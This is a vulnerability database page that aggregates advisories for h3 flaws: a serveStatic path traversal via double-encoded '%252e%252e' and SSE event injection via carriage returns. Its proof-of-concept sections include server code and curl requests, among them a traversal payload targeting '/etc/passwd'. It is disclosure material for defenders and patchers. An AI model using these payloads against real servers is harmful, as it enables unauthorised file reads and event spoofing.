CVE-2026-86251
h3 before 1.15.9 Path Traversal via Double Decoding
h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
h3 before 1.15.9 Path Traversal via Double Decoding
h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.
- Record
CVE-2026-86251- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-72107
8.2
h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.
- Record
EUVD-2026-72107- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4hxc-9384-m385
5.3
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Summary
The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.
Details
The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:
1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) { // Only splits on \n, not \r
result += `data: ${line}\n`;
}
String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:
data: legit\revent: evil\n
Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:
data: legit
event: evil
2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)
export function formatEventStreamComment(comment: string): string {
return (
comment
.split("\n") // Only splits on \n, not \r
.map((l) => `: ${l}\n`)
.join("") + "\n"
);
}
The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:
: x\rdata: injected\n\n
Which the browser parses as a comment line followed by actual data:
: x
data: injected
Why _sanitizeSingleLine doesn't help
The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:
function _sanitizeSingleLine(value: string): string {
return value.replace(/[\n\r]/g, "");
}
But it is only applied to id and event fields (lines 182, 185), not to data or comment.
PoC
Setup
Create a minimal h3 application that reflects user input into an SSE stream:
// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";
const app = createApp();
app.use("/sse", defineEventHandler(async (event) => {
const stream = createEventStream(event);
const { msg } = getQuery(event);
// Simulates user-controlled input flowing to SSE (common in chat/AI apps)
await stream.push(String(msg));
setTimeout(() => stream.close(), 1000);
return stream.send();
}));
export default app;
Attack 1: Event type injection via \r in data
# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"
Expected (safe) wire output:
data: legit\revent: evil\n\n
Browser parses as:
data: legit
event: evil
The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.
Attack 2: Message boundary injection (event splitting)
# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"
Browser parses as two separate events:
- Event 1:
data: first - Event 2:
data: injected
A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.
Attack 3: Comment escape to data injection
# Inject via pushComment() — escape from comment into data
curl -N…
- Record
GHSA-4hxc-9384-m385- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-74
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-676v-2c25-vqpj
8.2
h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A...
h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.
- Record
GHSA-676v-2c25-vqpj- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-72gr-qfp7-vwhw
5.9
h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
Summary
The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.
Details
The vulnerability is a conflict between two decoding stages:
Stage 1 — H3Event constructor (src/event.ts:65-69):
if (url.pathname.includes("%")) {
url.pathname = decodeURI(
url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
);
}
This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).
Stage 2 — serveStatic (src/utils/static.ts:86-88):
const originalId = resolveDotSegments(
decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);
This applies a second decodeURI(), which decodes %2e → ., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.
Wait — re-examining the flow more carefully:
- Input pathname after event.ts:
/%2e%2e/%2e%2e/etc/passwd decodeURI()in static.ts converts%2e→., producing:/../../../etc/passwdresolveDotSegments("/../../../etc/passwd")does resolve..segments, clamping to/etc/passwd
The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:
- Request:
/%252e%252e/%252e%252e/etc/passwd - After event.ts decode:
/%2e%2e/%2e%2e/etc/passwd decodeURI()in static.ts:/%2e%2e/%2e%2e/etc/passwd(unchanged —decodeURIdoesn't decode%2e)resolveDotSegments()fast-returns at line 56 because%2econtains no literal.character:if (!path.includes(".")) { return path; }- Asset ID
/%2e%2e/%2e%2e/etc/passwdis passed togetMeta()andgetContents()callbacks - URL-based backends resolve
%2e%2eas..per RFC 3986 / URL Standard
The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.
PoC
1. Create a minimal h3 server with a URL-based static backend:
// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";
const app = new H3();
app.get("/**", (event) => {
return serveStatic(event, {
getMeta(id) {
console.log("[getMeta] asset ID:", id);
// Simulate URL-based backend (CDN/S3)
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getMeta] resolved URL:", url.href);
return { type: "text/plain" };
},
getContents(id) {
console.log("[getContents] asset ID:", id);
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getContents] resolved URL:", url.href);
return `Fetched from: ${url.href}`;
},
});
});
serve({ fetch: app.fetch, port: 3000 });
2. Send the double-encoded traversal request:
curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'
…
- Record
GHSA-72gr-qfp7-vwhw- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.2
h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.
- Record
CVE-2026-86251- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
Show 4 moreShow less
OSV
8.2
h3 before 1.15.9 Path Traversal via Double Decoding
h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.
- Record
CVE-2026-86251- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-4hxc-9384-m385
5.3
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Summary
The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.
Details
The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:
1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) { // Only splits on \n, not \r
result += `data: ${line}\n`;
}
String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:
data: legit\revent: evil\n
Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:
data: legit
event: evil
2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)
export function formatEventStreamComment(comment: string): string {
return (
comment
.split("\n") // Only splits on \n, not \r
.map((l) => `: ${l}\n`)
.join("") + "\n"
);
}
The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:
: x\rdata: injected\n\n
Which the browser parses as a comment line followed by actual data:
: x
data: injected
Why _sanitizeSingleLine doesn't help
The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:
function _sanitizeSingleLine(value: string): string {
return value.replace(/[\n\r]/g, "");
}
But it is only applied to id and event fields (lines 182, 185), not to data or comment.
PoC
Setup
Create a minimal h3 application that reflects user input into an SSE stream:
// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";
const app = createApp();
app.use("/sse", defineEventHandler(async (event) => {
const stream = createEventStream(event);
const { msg } = getQuery(event);
// Simulates user-controlled input flowing to SSE (common in chat/AI apps)
await stream.push(String(msg));
setTimeout(() => stream.close(), 1000);
return stream.send();
}));
export default app;
Attack 1: Event type injection via \r in data
# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"
Expected (safe) wire output:
data: legit\revent: evil\n\n
Browser parses as:
data: legit
event: evil
The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.
Attack 2: Message boundary injection (event splitting)
# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"
Browser parses as two separate events:
- Event 1:
data: first - Event 2:
data: injected
A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.
Attack 3: Comment escape to data injection
# Inject via pushComment() — escape from comment into data
curl -N…
- Record
GHSA-4hxc-9384-m385- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-74
- Updated
- 2026-11-02
OSVGHSA-72gr-qfp7-vwhw
5.9
h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
Summary
The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.
Details
The vulnerability is a conflict between two decoding stages:
Stage 1 — H3Event constructor (src/event.ts:65-69):
if (url.pathname.includes("%")) {
url.pathname = decodeURI(
url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
);
}
This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).
Stage 2 — serveStatic (src/utils/static.ts:86-88):
const originalId = resolveDotSegments(
decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);
This applies a second decodeURI(), which decodes %2e → ., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.
Wait — re-examining the flow more carefully:
- Input pathname after event.ts:
/%2e%2e/%2e%2e/etc/passwd decodeURI()in static.ts converts%2e→., producing:/../../../etc/passwdresolveDotSegments("/../../../etc/passwd")does resolve..segments, clamping to/etc/passwd
The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:
- Request:
/%252e%252e/%252e%252e/etc/passwd - After event.ts decode:
/%2e%2e/%2e%2e/etc/passwd decodeURI()in static.ts:/%2e%2e/%2e%2e/etc/passwd(unchanged —decodeURIdoesn't decode%2e)resolveDotSegments()fast-returns at line 56 because%2econtains no literal.character:if (!path.includes(".")) { return path; }- Asset ID
/%2e%2e/%2e%2e/etc/passwdis passed togetMeta()andgetContents()callbacks - URL-based backends resolve
%2e%2eas..per RFC 3986 / URL Standard
The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.
PoC
1. Create a minimal h3 server with a URL-based static backend:
// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";
const app = new H3();
app.get("/**", (event) => {
return serveStatic(event, {
getMeta(id) {
console.log("[getMeta] asset ID:", id);
// Simulate URL-based backend (CDN/S3)
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getMeta] resolved URL:", url.href);
return { type: "text/plain" };
},
getContents(id) {
console.log("[getContents] asset ID:", id);
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getContents] resolved URL:", url.href);
return `Fetched from: ${url.href}`;
},
});
});
serve({ fetch: app.fetch, port: 3000 });
2. Send the double-encoded traversal request:
curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'
…
- Record
GHSA-72gr-qfp7-vwhw- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVCLSA-2026-1790707412 No score
TuxCare security update for h3 (2 CVEs)
TuxCare rebuilt h3 to address 2 CVEs. Fixed in 1.15.3-tuxcare.2.
- Record
CLSA-2026-1790707412- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
h3npm |
2.0.0-beta.0 to 2.0.1-rc.16 | 2.0.1-rc.17 |
h3npm |
before 1.15.9 | 1.15.9 |
h3npm |
through 1.15.8 | 1.15.9 |
h3TuxCare:npm |
1.15.3-tuxcare.0 up to 1.15.3-tuxcare.2, plus listed versions 1.15.31.15.3-tuxcare.1 |
1.15.3-tuxcare.2 |
h3npm |
2.0.0-beta.0 up to 2.0.1-rc.17 | 2.0.1-rc.17 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-86251 is a high vulnerability (CVSS 8.2) in H3js H3, published March 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in h3 2.0.1-rc.17.
References
github.com/h3js/h3/security/advisories/GHSA-72gr-qfp7-vwhw
vulncheck.com/advisories/h3-before-1.15.9-path-traversal-via-double-decoding
github.com/h3js/h3/security/advisories/GHSA-4hxc-9384-m385
github.com/advisories/GHSA-4hxc-9384-m385
nvd.nist.gov/vuln/detail/CVE-2026-86251
github.com/advisories/GHSA-676v-2c25-vqpj
github.com/advisories/GHSA-72gr-qfp7-vwhw
github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86251.json
github.com/h3js/h3
Left out here: the rest of 4 source descriptions. The JSON record has them.